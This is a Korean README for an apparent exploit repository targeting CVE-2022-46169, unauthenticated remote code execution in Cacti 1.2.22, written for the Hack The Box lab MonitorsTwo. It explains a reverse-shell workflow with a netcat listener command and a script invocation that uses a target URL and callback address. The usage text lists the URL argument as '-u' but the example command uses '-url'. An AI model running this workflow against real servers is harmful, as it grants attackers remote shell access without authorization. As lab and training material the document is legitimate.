
CVE-2022-46169를 위한 Python 익스플로잇으로, Cacti 1.2.22에서 리버스 셸을 통해 인증되지 않은 원격 코드 실행을 제공하며, 교육용 침투 테스트를 목적으로 합니다.
이 저장소는 Cacti 1.2.22에 영향을 미치는 CVE-2022-46169용 익스플로잇을 포함하고 있습니다. 이 취약점은 인증되지 않은 공격자가 영향을 받는 시스템에서 임의의 코드를 실행할 수 있도록 허용합니다.
이 익스플로잇이 어떻게 가능한지에 대한 자세한 분석을 원하시면 이 Rapid7 게시글을 참고하십시오. 해당 글에서 구체적인 내용을 매우 자세히 다루고 있습니다.
이 코드는 교육 목적으로 chatGPT의 도움을 받아 Hack The Box의 MonitorsTwo라는 머신을 위해 작성했습니다.
인자:
-u Cacti 애플리케이션의 URL
-lhost 쉘을 획득할 머신의 IP 주소
-lport 쉘을 획득할 머신의 포트
로컬 머신에서 netcat nc -lvnp 9001으로 리스너를 설정합니다.
대상에 대해 익스플로잇을 실행합니다.
python3 CVE-2022-46169.py -url http://10.10.11.211/ -lhost 10.10.14.3 -lport 9001
이 개념 증명(PoC)은 전적으로 교육 및 테스트 목적으로 작성되었습니다. 시스템 소유자의 명확한 승인 없이 이 PoC를 시스템이나 네트워크에 사용하는 것은 불법이며 법적 조치를 초래할 수 있습니다. 제작자는 이 PoC의 적절한 사용 또는 부적절한 사용으로 인해 발생하는 어떠한 피해에 대해서도 책임을 지지 않습니다. 사용에 따른 모든 위험은 사용자 본인에게 있습니다.
https://www.rapid7.com/db/vulnerabilities/debian-cve-2022-46169/